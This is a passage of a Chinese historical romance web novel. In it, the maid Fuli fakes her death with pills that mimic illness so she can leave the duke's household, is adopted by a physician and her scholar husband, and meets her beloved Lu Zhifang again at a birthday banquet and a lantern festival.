师娘后来都告诉他了。脸上一点小蹭小刮就不让他看见,把他当什么只被皮囊色相迷惑的薄情汉了。 馥梨还是犹豫。 陆执方抬手在她剪影的脑袋位置敲了一下。 “是很重要的事情。” “好吧,世子爷稍等片刻。” 那娉婷身影走开,屋内灯火骤灭,门扉慢慢推开,还有月光从窗格漏下来的银辉,斜斜一小方。 馥梨坐在月光照不到的矮榻上,等他开口。 “你之前说过,父亲船难失踪了,母亲多年前就病逝了,那家中可还有什么人?”陆执方补充道,“你觉得重要、可以信赖的人。” 馥梨不知道他为何问起这个:“还有个兄长。” “你之前没怎么说起过。” “因为阿兄也找不到了。” “他同你爹一起出海遇到船难?” “不是,阿兄自幼有武学天赋,想在沙场上建功立业,因而年纪一到就去投了军。他入的是襄州边军,爹爹出事后,我往襄州边军寄过了好几次信件,都不见回音。”馥梨说到这里,声音渐渐低下去,“我想去襄州找他,又不敢去。” 襄州在北地,与淮州几乎隔了国中整片版图。 那里冰封千里,终年积雪,就是财力雄厚的商队往返,都难保障次次平安而归,遑论一个弱女子。 陆执方回忆这一两年在朝堂上听到的边疆战事。襄州紧邻岷象国,敌军时常骚扰,最大型的是赤乌河一战,我军惨败,被俘虏军士近千。 但这样的消息,轻易不会传到民间去。馥梨的兄长,不知在不在这些俘虏里面。 “你兄长参军用的名姓,去了哪个营?”陆执方走过去,坐到了馥梨身侧,攥起她一只手揉了揉。 小娘子说起担心的事情,指尖总透着微微凉意。 馥梨回忆阿兄的信息,同他一一说了,包括从前阿兄的家书里,提及他曾经参加过的大大小小战役。 “世子爷为何问起这个?” “我会派人去襄州边军打听,看看能不能找到你阿兄。”陆执方将她手指揉至暖热才松开,“我问起是因为,师娘有意将你认为义女。这毕竟不是小事,她想知道你愿不愿意,家中还有何人能同你商议。” 馥梨呆了呆,许久都没答话。 陆执方以为她不愿:“你不想的话……” “没、没有不想,我就是觉得很意外,”馥梨想到今日之事,轻声问他,“世子爷,师娘是不是还在内疚呀?我真的没有大碍,她不必如此的。还是说,她这样是因为你去求了她和胥先生?” 陆执方盯着她在昏暗里模糊的轮廓。 此刻看不清脸蛋上到底哪里划伤了,只有淡淡的青草膏味飘散过来,侧脸线条柔和,鼻头微微挺翘。 陆执方微微一叹。 “世子爷?” “你怎么,总是心里没点数?” “什么没点……” 青年郎君的怀抱拥过来,揽着她轻轻一带,跌入有些硌人的坐榻上,长臂扣着她腰一转,她伏上温热结实的身躯,脸上半干未干的草药膏,都蹭到衣襟。 馥梨仰着头要起,被陆执方手掌摁下去。 “药膏都蹭到了。” “师娘说,就是不涂药也能好,慢一两日。” “可是我不想慢,我想,想明日就能好。” “就这么不想叫我看见。” “不想。” 馥梨轻轻抱怨了一句,“我已经叫世子爷看见过很多狼狈模样了,不想再添一些了。” “还是心里没数。” 陆执方并不解释,手掌在她后背心轻拍,一下一下,像是在安抚又像是在哄小孩儿睡觉似的轻柔。 馥梨陪着沈霜月走遍了一整座山,此刻当真被他拍出些困意来,慢慢闭上了眼。 陆执方也阖了眼。 春夜微凉,抵不过两相依偎的怀抱温热。 陆执方罕见地在硌人的长榻上,睡了一夜好眠。 翌日醒来,借着窗扉倾泻的晨光,看清楚了伏在他胸膛上的一张小花脸。白玉莹莹的脸蛋,草绿青青的药膏,被刮出的细细血丝几乎了无痕迹。 他手背在她眉骨一道蹭了蹭,少女皱眉嫌痒,脸贴着他心口摩挲了一下,药膏的痕迹更花了。 陆执方用目光描摹她。 祖母常嫌弃他不开窍,说他不知道一个情字几笔几划。他知道的,情字就是,再狼狈也觉得可爱。 怎么会觉得师娘是因为愧疚把她认作义女。 怎么会有人根本不知道自己多惹人喜爱。 陆执方一直在滦贤山待到了那十日结束。 人才从镇国公府西门入,还未到静思阁,半路就有祖母身旁的王嬷嬷在等候,“世子爷,老夫人请你去一趟。”祖母向来都是等他请安,很少如此急切。 陆执方却毫不意外:“我换身干净衣裳就去。”他依旧在王嬷嬷的注视下,带着馥梨往静思阁去,看她好好地回到屋中,才回自己寝屋更换常服。 祖母院子里,老人家正在花房修剪一盆开得肆意的芙蓉,细细用银剪,剪去了影响美观的枝枝叶叶。 “孙儿给祖母请安。” 身后响起了陆执方不徐不疾的声音。 老夫人回头,定定打量这个让整个陆家都觉得骄傲的孙儿,叹息了一声,“明日就回衙门点卯了?” “是,叫祖母操心了。” “祖母不操心,你自己的仕途前程,你自己得有数。”老夫人将银剪子搁下,又给芙蓉花洒洒水,“祖母就想问你一句话,不想同皇家结姻亲,是为了你自己,还是为了静思阁那小姑娘。你不要撒谎。” “都有。” “你怕公主跋扈,日后欺负了她?” “不是。” 陆执方看着眼前满头银发的老夫人,这是陆家中他最敬爱的尊长,“孙儿除了她,不想有旁人。” 背对着他的苍老身影微微一滞。 “祖母。” “祖母累了,你回去吧。” 老夫人摆了摆手,不回头看陆执方。 待陆执方走后,王嬷嬷迎上来,扶住了她颇有些颤颤巍巍的手。老夫人慢慢在她搀扶下,坐到月牙凳上,气息缓下来,摇头叹道:“我当初把那丫鬟调入静思阁,如今看来竟是错了。” 王嬷嬷道:“要不找个由头,将人赶出府去?” “赶出去容易,陵哥儿心里起了芥蒂,难消。你别看他云淡风轻的,实则护短又记仇。”老夫人思忖片刻,“此事不能着急,我要见一见那丫头。” 春光渐淡,赶在春季尾声,皇家狩猎来了。 陆执方因着太子殿下的耳提面命,破例去了。 春狩在城外皇家猎场,建有行宫,参与的臣子都宿在行宫厢房里,需得两日一夜才回来。 陆执方出门的第一日,王嬷嬷去了静思阁。 馥梨没见着,是洛嬷嬷出来应的。 “那姑娘前几日就咳得厉害,昨夜起高热病倒,如今这身子瞧着,不合适去老太太跟前说话。她是不打紧,把病气过给了老太太,就是大罪过。” 洛嬷嬷是大太太的陪嫁,又是世子爷乳母。 王嬷嬷不好态度强硬,心里将信将疑,“那丫鬟得老夫人眼缘,才叫她去陪着说话。我去看看吧,要是严重了,老夫人没准会给她请惯用的郎中来。” 洛嬷嬷没推脱,领着她去了馥梨屋里。 一进屋就闻到沉闷的中药味,床帐掀开来,里头露出了一张苍白憔悴的美人面,唇上淡得不见血色,额发凌乱贴着,真是病得快去了半条命的模样。 “怎么突然病得这般厉害?” “春季乍暖还寒的时日,一不留神就风寒了。年轻人不当回事,小病拖成了大病。” “洛嬷嬷,这位嬷嬷是……” 馥梨听见两人说话动静,勉强睁了睁眼,话说到一半,又剧烈地咳起来,额上瞬间出了一层冷汗。 “老婆子是老夫人身边的,你先养着病,有什么好了再说。”王嬷嬷看得心惊,安抚两句就赶紧告辞去回禀老夫人,生怕这病气把自己也染上了。 人走了,屋里剩下洛嬷嬷,目光担忧地看着她。 馥梨倒露出个笑来:“我躺几日吃吃药就好了,洛嬷嬷别操心,别在我这里久待,回屋里歇着去。” 洛嬷嬷给她换了条巾子,仔细擦去她额头冷汗,又换了一条新的,才叮嘱两句退出去。 馥梨待她走了,翻坐起来,拾起掉落到被面上的干净巾子,攥在手里,乌润杏眸中有些愧疚。 她枕头底下藏着个白色小瓷瓶,里面都是细如珠的药丸,是沈霜月特意调配给她的。吃了之后,高热咳嗽冒冷汗等症状都有,人精神上却不至于昏沉。 她骗了洛嬷嬷。 她不是躺几日就好,她还会病得更重,病得药石无医,这样才能名正言顺地“离开”镇国公府。 第44章 她好像又有了新的家。 春寒未尽,皇家猎场大雁群飞,芳草萋萋。 猎官驱出膘肥体壮的应时野兽,放入山林之中。 随着宣帝一声令下,锦鞲臂花隼,罗袂控金羁的猎手们或驱马追逐,或拔箭远射,拉开今年春狩的帷幕。 陆执方骑着白马,跟着文臣队伍的最后,不紧不慢遁入林野。太子高舸事先命人做好了暗记,他循着树干有黄漆的方向去,就能见到云梦公主。 陆执方行至半山腰,见云梦公主一身奢丽精致的骑装,挽着把小弓,等在一棵枝叶繁茂的柏树下。 宫女候在远处,而随行护卫和猎犬候在更远处。 陆执方驱马来到她面前。 “臣见过云梦公主。” “陆少卿,你来啦?” 云梦公主依旧笑意盈盈,面如冷玉的青年郎君当真无心春狩,还穿着阔袖宽摆的寻常衣袍。 他直奔主题,甚至连马都没有下,一双狭长眼眸,凝着古井无波的疑问。 “殿下说,公主有事想询问臣,不知是何事?” “……” 云梦先是静了片刻,再控马在林荫下慢慢转一圈,“陆少卿之前在御书房同我说,腰间绢花是心仪女郎之物,可是真的?”她不待陆执方回答,紧接着补充道:“云梦知道陆少卿心怀鸿鹄之志。我有幸得父皇偏宠,便是为了我小小地破例,想来父皇是愿意的。” 陆执方不必拘束于驸马官位最高四品的约定俗成。 她生来花团锦簇,要风得风要雨得雨,不觉得看上个品貌俱佳的郎君,要表达爱慕是值得羞耻的事情。 若陆执方是为了前程回避,她当叫他知道,这世间规矩,有人一辈子深受束缚,有人轻而易举就能更改。 可陆执方眉头蹙了蹙,便淡声回答道: “御书房中,臣当着陛下的面,自是字字属实。” “那你今日为何未佩戴那绢花?” “春猎山林,尘土飞扬,恐弄脏了绣花。” 陆执方松了缰绳,从袖子里抽出那条芽绿色的丝绢手帕,动作中透着珍惜,“公主殿下还要再确认吗?” 一模一样的色泽,一模一样的梨花。 云梦紧紧地盯着他的手,无言许久,眸中倏尔凝出层泪花,一夹马腹,调转马头往反方向去,疾驰着跑进山林深处。弓马娴熟的贴身宫女紧随其后劝,“公主,慢些,山林深处有凶兽,待护卫追上来再去……” 陆执方看了一眼护卫手忙脚乱追上去的背影。 他没跟过去,而是沿着来时的路,出了这片山林,回到猎场为文臣武将们特意设置的帐篷里。 帐篷里,太子高舸正在同今年春闱揭榜的几个进士说话。春狩持续两日,他向来习惯去最后一场。 高舸见了陆执方,目光往他身上一顿。 几个新科进士很快就会意,为他们让出了空间。 “太子殿下。” “这般快就回来了,云梦呢?” “公主往林中狩猎去了。原本就是一问一答的事,耽搁不了太久。” “你倒真是叫孤……” 高舸无奈地摇摇头,知道陆执方无意同皇家结亲,也不想强迫,同他说起南方水涝赈灾。户部艰难地挤出一笔赈灾银子,就等着太子妃的那场义卖,加些添头。 “朝堂里近日为了派谁去赈灾的事情,闹得沸沸扬扬。九陵觉得有谁合适?”高舸向他投去询问的眼神。 历年来赈灾都是个肥差,不止能博得好名声,还有大量银钱经手。然而,宣帝去年严惩了一起赈灾银贪墨案后,这位置就不好坐了。 陆执方想了片刻:“都水司郎中刘健、度支司员外郎徐海潮,都参与过汛期洪涝的赈灾重建。臣记得徐海潮的家乡,就是受灾最严重的翁沙县,他定会亲力亲为。至于主持赈灾之人……” 太子和三皇子的人都在暗暗较着劲呢,难选。 高舸想要再问,忽而听见猎场另一头传来吵闹声。几个护卫和宫女簇拥着云梦回来,云梦并没有骑她那匹宝马,而是由宫女搀扶着,漂亮华美的骑装小裙摆上,深深浅浅的污泥碎叶。 竟是不知在哪里摔了的模样。 高舸与云梦一母同胞,向来感情好,当即没再去管陆执方:“我去云梦那边看看。” 公主营帐里,各人忙忙碌碌。 太医来仔细检查过,“云梦公主是轻微摔伤,并无大碍,但接下来几场狩猎,恐怕是不能再参加了。”又叮嘱了休养时的注意事项,才慢慢提着医箱离去。 “你这是怎么摔的?” “从马背上没坐稳,跌下来的。” “护卫呢?!” 高舸皱眉,就要训斥护卫,云梦神色恹恹,并不想再继续多言,“是我一时没留意,马蹄踩进陷阱里。护卫都跟着后头,也拦不住,皇兄别怪他们。” 高舸看着她神色复杂。 春狩除却用猎犬猎鹰和射箭,还会设置一些地面小陷阱,捕捉山雉、灰兔等小兽,通常会在陷阱周围树立明显的旌旗提示。云梦骑术自幼得宫中师父教导,即便遇到陷阱,也能当路障跨越过去。 是被陆执方婉拒,分了心神才会这样。 “我不想责罚,待会儿父皇来了也要罚。” 高舸心知肚明,往最威严繁复的主营帐看去。 果然,浩浩荡荡宫人已簇拥一脸担忧的父皇靠近。按照父皇的脾性,除了责罚,还少不了迁怒,高舸摇头暗叹,他今晨为陆执方说的那几句美言是无用了。 陆执方也看见了云梦公主狼狈回营的模样。 比起宣帝责难,他更担心距离皇家猎场甚远的镇国公府。馥梨已经服下师娘给的药好几日了。母亲和祖母不是心肠歹毒之人,不会见她病得如此模样还苛待她,却会以染病为借口,将馥梨和他隔开来。 或许是送到医馆里,或许是送到城郊庄子上。 陆执方思量良久,等到索然无味的春狩结束,回到镇国公府时,苗斐已等在正堂。 她连他完整的一句问安都等不及了,皱着眉头劝:“你那婢女,病得厉害,老夫人找郎中来瞧过了,说是可能会传染的。我看不能待在静思阁,还不如……” 还不如什么,没说出来。 被少年人还细幼清脆的声音慌里慌张地打断。 “世子爷!” 是南雁。 南雁磕磕巴巴,顾不得平日礼数,朝着苗斐的方向行了不太标准的一礼:“世子爷,馥梨姐姐她……” “怎么了?” “她没气息了。” 正堂陡然沉默下去。 连苗斐都愣怔住:“什么意思啊……” 南雁脑袋空白,转向了苗斐喃喃解释:“洛嬷嬷说的,馥梨姐姐没气息了,世子爷一回来马上通报。” 苗斐领会过来,去看陆执方,正堂里哪里还有这个儿子的身影。方嬷嬷咳了一声提醒:“太太跟着呀。” “对,快些,同我去看看。”苗斐扶上她的手。 静思阁西屋的厢房,屋门敞开着。 苗斐和方嬷嬷赶到去的时候,还是感到不可置信,“当真没气息了?执方……”她在门槛处站定,往里头看,屋内两扇支摘窗开得最大,透出日暮时最后的光。 素色床幔高高卷起,陆执方就定定站在床边。 床上躺着的姑娘五官柔和,是苗斐见过的好模样,可唇色得不像活人,细细去看,胸口没有呼吸起伏了。 陆执方伸手要去探她呼吸。 方嬷嬷神色骇然,急急提醒了一句:“世子爷,不可啊!郎中说她这病可能会传染,找云苓来。那丫鬟懂些医术,知道怎么防护的。” “还不把世子请出来!” 苗斐提高了音量,静思阁里几个守着的护卫你看看我,我看看你,犹豫着脚步入了屋内,却没几个人真的有胆量去拉陆执方。 陆执方的手已探过去了,悬在那琼鼻之下。 云苓被南雁拉着跑来时,屋内极安静。 大太太和方嬷嬷立在门外,脸色极为难看。 陆执方依旧坐在床边,拿沾湿的帕子一点点擦馥梨的脸蛋,好似她是一个仍然需要照顾的病人。 云苓胆颤心惊地上前,话音颤颤:“世子爷,奴婢为馥梨姑娘看看。”她这些天也听到了风言风语,原想着陆执方会断然拒绝,却听见他话音轻轻。 “你小心些,别弄乱了她的头发。” “好。” 云苓探了鼻息,摸了脉象,本想去触碰颈部脉搏,想到陆执方的话作罢了,到这地步,已经显而易见了。 “世子爷,馥梨姑娘已经去了。” 她轻声道,眼神看向的,却是门外的大太太。 太阳完全落下去了,天幕黑沉,星月未现。 镇国公府的小角门,悄悄地抬进了一座木棺。 静思阁的护卫们不敢劝阻,不敢上手,眼睁睁看着他们向来矜贵喜洁的世子,亲手把一具没有气息的身躯抱起来,极为柔和地放入了木棺里,再缓缓阖上盖。 馥梨像是睡了一场很久很久的觉。 再睁开眼时,人在微微颠簸中,摇摇晃晃,依旧是陷身在黑暗中。不能够害怕,不能够挣扎,再等一下,再忍耐一下就好了。她在黑暗里同自己说道。 手指沿着左右木壁摸索,忽而摸到一个小匣子。 指腹按过了匣面熟悉的卷云花纹,是她惯用来攒钱的小钱匣,陆执方竟然也给她装进来了。还有一对冰凉凉但形状圆润的小石子,是他送的瑰玉耳坠。 馥梨在黑暗里弯了弯唇。 在镇国公府这段日子,她觉得珍贵的东西,竟都在身边了,好像找到了一个安心的锚点。 持续许久的摇晃,变成了倾斜,她脑袋磕到木壁上发出咚一声轻响。又过了许久,有人嗡嗡的说话声。 遮挡光线的木板被揭开。 馥梨先是眯了眯眼,耳边听见沈霜月的声音,“小梨儿?”她适应了一会儿,才看清她关切的表情。 沈霜月还是梳着简单发髻,黑发中的几缕银丝,在灯火中泛出柔光,她身后是山庄朴素而熟悉的布置。 “我没事。”馥梨声音还有些哑。 她又回到了滦贤山,手边是她积攒的银钱,眼前是愿意爱护她的义母,她好像又有了新的家。 第45章 好像在软软地喊他,世子…… 太子妃为南方赈灾筹备的义卖在多宝轩开场了。 东宫出的秘色瓷宫盌与田黄云龙钮章、户部尚书出的松石绿地红蝠珐琅彩小葫芦瓶……所拍卖臻品林林种种,拍卖出最高价的,却是一副名不见经传的山水画。 不懂字画类的竞拍富商们咋舌。 “这画师名头没听说过呀?” “画师不重要,那上头有胥老藏印和亲笔题字。” “谁说画师不重要,确实画得好啊,此画气脉贯通,满而不塞,设色古雅有韵味。要是画得拙劣,单凭胥老题字,卖价也不能凭空涨上这许多。” 博古画坊琉光堂的罗掌柜点评道。 这话引得旁观的书生们一阵附和,“胥先生的眼光岂是什么平庸作品就能收藏的。” 几日后,市面上再流传一副与山水画同一单字落款的《秋日婴戏图》,画了一对姐弟在玩推枣磨的情景。女童天真烂漫,幼弟童稚无邪,二人表情生动传神,叫人仿佛能听见画面里其乐融融的天真嬉笑之声。 《秋日婴戏图》才一挂出售卖,就被匿名藏家重金购入。那位曾经到滦贤山求胥垣墨宝的富商,正是义卖山水画的购得者,得了胥垣的题字和藏品还不够,就想看看同一画师的新作如何,无奈来迟了一步。 只能听见看过的人夸得天花乱坠。 “到底是何人买走了《秋日婴戏图》?罗掌柜,你给我陈某人透个底,我自不会说出去。” “陈员外,是匿名藏家,就我琉光堂见过,我要是透露了,这往后生意还做不做了?” 罗掌柜摸摸山羊胡,话音一转,“说是不能说,但可以代为转达,陈员外想见这位藏家是为了买画?” 陈员外拍出一叠银票,“他出什么价买下来,我愿意花双倍价格买回去。”他心里打的是另一算盘。 胥垣这人难讨好,得了他收藏过的同个画师佳作,再去求墨宝,总不能叫他吃闭门羹了吧。 就这样,《秋日婴戏图》转手再售出了高价。 所得银钱,绝大部分存入了思源钱庄的某个户头,剩下一点零碎,拿来买了两壶玉浮春。匿名藏家游介然提着酒,叩响了静思阁的屋门,“陆九陵!来喝酒!” 南雁小跑着追上来,“游公子,世子爷心情正不好,恐怕是不会见客了。”馥梨姐姐走了后,世子爷向大理寺告了好几日假,成日里闭门谢客。 “你还小不懂,他这种时候,就得借酒浇愁。” 游介然径直踹开了门。 南雁的表情霎时呆滞。 主屋里,陆执方只用一根木簪束发,身着素色燕居棉袍,正对着棋盘自弈,面无表情瞥了游介然一眼。 “回去吧。”这话是对南雁说的。 南雁点头,替他阖上了屋门。 游介然“哐当”把两壶酒搁在他棋盘上。 “事情都妥了?” “妥了,我敢保证眼下皇城里,小梨子已然是身价能够挤得进前三的画师了。这壶酒就是用画钱买的,剩下的都存进思源钱庄了。” 游介然想起陆执方托他买画时的叮嘱,“那可不是一笔小钱,真的都拿去赈灾了?” “是馥梨自己的意思。”陆执方拔过被游介然弄乱的棋子,将白棋一颗颗拣出来,丢到棋篓子里,眼前还能看到馥梨拧着眉头,有些心虚的小表情——“是借着义卖和老师题字才鼓吹起来的名声,我怎好把银钱拿来私用?拿去南方给灾民解急,能派上更大用场。” 算了算,已经快十日没见过她了。 腾起的念头很快被打了岔。 游介然拔出了玉浮春的酒塞,从他茶案上摸出一套茶具,大大咧咧地酒倒入了茶盏里,推到他面前。 “我给你办事,你陪我喝酒,来!” 陆执方执起茶盏,陪他饮了一杯。 “今日陈平候家的姑娘生辰宴,嘉月去赴宴了。” “哦。” “他家二郎君追得可紧,连母亲带嘉月去礼佛,都能在庙里碰见。这个月都见 第三回 了。” “与我何干?” “与你无关,我好好的刑窑白瓷盏,拿来装酒?” 搁在往日,即便陆执方不说,游介然少不得也得骂一句暴殄天物,如今却浑然不觉,眼角眉梢的风流潇洒不再,只有莫名的沉郁失魂。 游介然烦躁地又灌了一杯,撇开了话题,“陆九陵你个小气鬼,小爷赔你一套就是了。” “修自,茶盏没了能再买,人嫁了可难回头。” 陆执方敛去玩笑神色,郑重地劝道。 馥梨不在静思阁,他总觉得自己的院子少了些什么。人在习以为常,习惯了拥有时,不会去设想失去时的滋味。他的思念尚有可缓解之法,游介然的却未必。 胥垣大寿这日,春山暖日和风。 滦贤山的坡道繁忙,挤满了来贺寿的宾客。原先设的八卦迷阵和路障被撤掉,重新成为通往山顶的坦途。 陆执方骑着白马,等在山脚下。 等了许久,才等来一蟹青色圆领直裰的斯文青年,骑着慢悠悠的毛驴赶到,“小陆大人,我不熟悉路况,在城外迷路耽搁了,抱歉抱歉。” “无妨,快些跟上。”陆执方领着他上山。 此人是本在塞州任推官,今年得了调令到大理寺任寺丞的宋良弼。他在吉阳城住入严家,用了宋良弼的名号,见到宋良弼后,便告知了相关事情。 “我不白欠人情,你可以换一样想要的回报。” “小陆大人,什么回报都可以吗?” 宋良弼当时两眼放光,就在陆执方猜测他要钱权利哪一样时,宋良弼试探着开了口,“下官听闻小陆大人是胥老门生,可否代为引见?胥老当年的政论与谏文,有好几篇我都倒背如流,科举作文时还引用过。” 于是便有了这么一出。 山庄早已坐满了宾客,胥垣在主位同人寒暄。 有同胥垣一样年长的高官或富绅,有同他们一辈,尚未入仕或者官场资历不算深的青年郎君。厅堂内除了胥垣和沈霜月惯用的小僮在奉茶,还有一道娉婷身影。 少女端着托盘,给宾客摆上时令鲜果和点心。 她穿着樱粉色的妆花半袖,套一条浅月色素纱裙,唇红齿白,眸如清泉濯洗过的乌润,顾盼俏皮灵动。 有人觉得她是新聘用的婢女。 有人觉得不像,二老向来朴素,而少女衣裳打扮虽谈不上奢丽,处处细节都是精致用心。 “这是我最近收的义女,叫迟霓。” 沈霜月从侧门缓缓走进来,换了一身更考究的暗花锦裙。她神情淡淡,路过少女时,牵着她来到上首的动作却很亲昵。她坐了下来,拍拍少女的手。 “我行医大半辈子,近来在编写草药典籍,小梨儿替我画插图,也算是我半个关门弟子。她还是喊我们师父师娘,你们也按着辈分,喊她小师妹便可。” 这话是朝着一众门生说的。 这位师娘素来冷淡,一声小梨儿已表明了亲近。 门生们你看看我,我看看你,眸中都浮现惊讶之色,登时有人敏锐地联系起来,作了猜测,“胥老义卖所捐出的那副山水图藏品,可是……” “就是你们小师妹画的。” “那之后那副《秋日婴戏图》也是?” 一直未点破她身份的胥垣点了头,语气中也有抑制不住的赞赏,“卖画所得,都兑换成衣食物资,不日就会随朝廷赈灾队伍出发了,往受灾最严重的地方去。” 满堂低声议论与惊艳目光里,少女神情未改。 陆执方来得迟了,与宋良弼坐在偏后位置,却见她含着明软秋水的眼眸,似清波微漾,随眼睫一眨,准确向他投了过来,专注的,温柔的,充满了宁静与欢悦。 好像在软软地喊他,世子爷。 第46章 “你是半点不想我。”…… 胥垣的寿宴,办得既隆重又简朴。 隆重在宾客身份清贵,士林清流叫得出名号的人,将近一半聚集在此,胥垣与沈霜月借此让义女露了面。简朴在席面菜色家常,连酒水都是沈霜月亲手酿造的。 馥梨在胥垣介绍下,见过了他最看重的几位得意门生。轮到陆执方时,胥垣看向了他带来的青年。 “这是学生在大理寺的同僚,姓宋,名良弼,一直仰慕老师才学。” “晚生见过胥老。” 宋良弼在胥垣面前,克制得很好,只是行礼作揖时,手没忍住微微颤抖,泄露了激动之情。 胥垣面上露了笑,同他寒暄几句,馥梨就乖乖站在一旁听,好奇的目光朝着宋良弼打量。她还记得,陆执方在严府里用了他的身份,原来这就是宋良弼本人。 宋良弼被一道清澈的视线注视着。 少女无辜纯粹的观察,不带冒犯,像一阵柔和的清风。他没克制住,朝馥梨回看,迟疑着问:“方才在席间听闻迟姑娘擅绘画,可曾到过大理寺去?” 馥梨亦惊讶,她不记得自己在大理寺见过宋良弼,再说出入都是戴着帷帽,入了画室才摘的。 陆执方表情变了变:“你认得她?” 大理寺里,只有程宝川知道馥梨的真实身份,对外只宣称是请来帮忙的画师。因此,在宋良弼面前承认也无妨。 宋良弼点头:“头一日到大理寺报告时,人生地不熟,走错了方向,本该去政务厅,却去了画室,见到迟姑娘在窗边作画的场景。在下目力与记忆力都不错,见过的人,只要有些特点,都不会忘记。” 馥梨从陆执方眼神里看到肯定,才道:“是我。” 宋良弼面上浮出一抹钦佩之色:“迟姑娘帮忙画的孩童与女郎五官图册,对大理寺案情破解贡献良多。”说罢又郑重对她行了个文人之间的礼。 “算不得什么事,宋大人无需如此。” 馥梨第一次被男子如此行礼,杏眸闪烁,侧过一步没受,侧的方向刚好是陆执方站的位置。在宋良弼眼里,就像一直受惊的小兔子,躲在了熟悉的树后。 “快要变天了,去药方帮你师娘把东西收了。” 重要的人都见得差不多了,胥垣把馥梨从她不善应对的局面中解救出来。陆执方身后的樱粉色衣裙一旋,少女婷婷袅袅的身影走远了。 陆执方作为得意门生,需得陪着胥垣宴宾客。 等好不容易抽出身去药房,已是宴会快散的时候,远远就见向来只有药材、竹架与师娘的药房院子,人影攒动,看着比刚才席面上还热闹几分。 “小师妹,这筐药材要搬到哪里去?” “小师妹,地黄、地黄我通通都切好了,你看看这厚薄是否合适?还要切哪些?都交给我吧。” “小师妹……” 馥梨霎时比在席间给宾客上瓜果点心时还忙碌。 她逐一回答,忽而觉得院子里安静了下来。 原是陆执方不知何时进来:“棋圣黎曙钻研了新的棋局,在同老师切磋,现在去,还赶得上看中盘。” 此话一出,方才围拢在药房院子的少年郎君们,又呼啦啦地涌过去观战了。娇憨可爱的小师妹,日后还有机会能看,棋圣与老师的对弈,可遇不可求啊。 馥梨松了一口气,待少年们都走远了。 她轻轻唤了一声:“世子爷。” 陆执方朝她抖抖那筐药,“搬哪儿去?” “屋里边。”馥梨伸手一指。 陆执方的声音在半掩的门后模糊:“屋里哪边?” 她提了裙摆,迈过去,“就在药架子旁……”手腕倏尔被扣上,一拽,人被拉到了他身前。青年身量高挑而肌理轻薄,她所碰到的胸疼和手臂都是硬的。 “世子爷。” “该叫师兄了。” 陆执方拇指摁上她的唇,摩挲了两下。 那水润红唇无比乖顺,开阖间吐出轻飘飘的两字:“师兄。”听起来有些新鲜,有些特别。 陆执方还想再听一遍。 馥梨却不知是有意还是无意,微张的齿关里,舌尖在他指腹上浅浅扫过了一下,濡湿温软,即刻就唤起了这些天来时常入梦侵扰他好眠的回忆。 身体反应比他更快,意识到时,已缠住那片温软,像灵蛇咬住猎物。馥梨仰起臻首,闻到了陆执方身上的那股熟悉冷香,被他体温烘成清爽的味道。许久未亲近过,骤然再相贴,她身体起了一阵轻轻的战栗。 可门扉只阖了一半,随时会有人回来。 馥梨分出心神去看,唇上却被重重磨了一下,继而是轻轻的咬,陆执方手掌在她腰侧掐了下,强迫她专注在自己身上,却蓦然听见一声问: “小梨儿,你在屋里吗?” 是沈霜月的声音。 人离得不远,已入了院子,脚步声停顿在门外。 馥梨惊得一颤,艰难挣出自己的唇,“我在……” 陆执方双臂圈着她不放,像是要挤出她胸腔最后的一丝呼吸盈余。馥梨眸中雾蒙蒙一层,推他推不动,又不敢说话,生怕师娘听见,只能委委屈屈地看他。 半晌,陆执方心软松开了人。 馥梨从他身侧走过:“师娘找我什么事?” “我方才听宾客说,明日在溪阳巷有义诊,夜里在东市还有花灯会。你想跟我去,还是想留在这里?” “我跟师娘去。” “那你收拾一套换洗衣裳,我们住一夜客栈。” “好。” “要是看到执方了,让他去前头。宴席还未散,他自己溜出来了,没规没矩。” 屋内,陆执方靠着薄墙失笑,师娘表面上骂他不陪宾客没规没矩,实际上是猜出他在这里了。馥梨也听懂了,进来撵他,“世子爷快些去宴客,别在这里。” “你是半点不想我。” 陆执方点点她额头,越过她出了屋。他明日还要去大理寺上衙,老师寿宴散了就要往城里赶去。 沈霜月说的义诊,在溪阳巷,即城西十三巷,聚集很多贫民。义诊对象正是这些没钱看大夫的贫民。 城内各大有名声的医馆,都派人去了。 馥梨跟着沈霜月,给她记药方。此外,有一些应时疾病的药剂,一早就配备好了存在医箱里。沈霜月每每遇到对症的,馥梨替她翻找出来,详细叮嘱煎药方法。 两相配合下,她医案前的队伍很快就缩短了。 沈霜月看完了最后一个病人,正想歇息下。 馥梨忽而把毛笔搁下,说了一声“我很快回来”就往街上跑去了,看模样,是追着一个卖饮子的商贩去。 到底是小姑娘家心性,想来是在山上闷久了。 沈霜月好笑地摇了摇头。 馥梨回来得也很快,“师娘,喝口水。” 她小心翼翼,端过来一个碗,冒着些微酸甜味。 沈霜月接过一尝,心里暖了暖,是山楂水。 她喜欢吃清淡,义诊安排给大夫的饭菜不太合她胃口,因为不想浪费,她还是都吃了,胃里却不太舒服。 “怎么只给我买?你自己不用?” “我脾胃还好,吃什么都好消化。” 馥梨手脚麻利地替她收拾医案上的东西,“今日比预想的还要早,还能逛逛东市,在那里吃顿晚膳。”她在镇国公府时,出去游玩的机会,每月就那么两三日。 等住到了山上,对出来游玩还是很向往。 等到了入夜,东市花灯会上,万盏华灯如繁星,将长街上游人如织的盛景照亮。 最热闹的要数鳌山灯棚。 堆得快两层楼高的灯棚下,里三圈外三圈地围了好些人。馥梨她们来得早,就站在了内圈,在嘈杂人声里忽而听见一声不太确定的招呼,“沈大夫?迟姑娘?” 她转头看去,看见一道瘦高影子。 是在寿宴上见过的宋良弼。 宋良弼艰难地越过人群挤来,同她与沈霜月见礼,“二位,好巧呀,你们也来凑这花灯会的热闹?” 馥梨说话小声,他凑低了头,才听见她一声脆生生的“是呀!宋大人!”少女杏眸在灯火璀璨处,明亮动人,看得宋良弼失神了一瞬。 恰逢灯棚下,制灯人将小灯山的纱布揭开了,露出样式精美繁复的牡丹灯、荷花灯、鲤鱼灯……花灯一盏接一盏,挂在小灯山上,最顶层一盏宫灯精美绝伦。 就像最璀璨的夜明珠,霎时吸引了所有人的视线。 馥梨也看着宫灯上描绘的图样看痴了。 “小灯山上,每盏灯都有一个灯谜,猜中了的人就能免费带回家,有谁可想一试?” 制灯人朗声问道。 有人点了那盏荷花灯。 “谜面是——一口咬掉牛尾巴,打一字。” “告字。” “恭喜这位郎君。” 有人点了鲤鱼灯。 “谜面是——九十九,打一字。” “这个更简单啊,白字。” “恭喜这位小娘子。” 小灯山上,花灯一盏接一盏取走,留下最顶层的一盏宫灯,谜题是“黄绢幼妇,外孙齑臼”,打四字。 在场众多文人学子猜了许久,都无人夺宝。 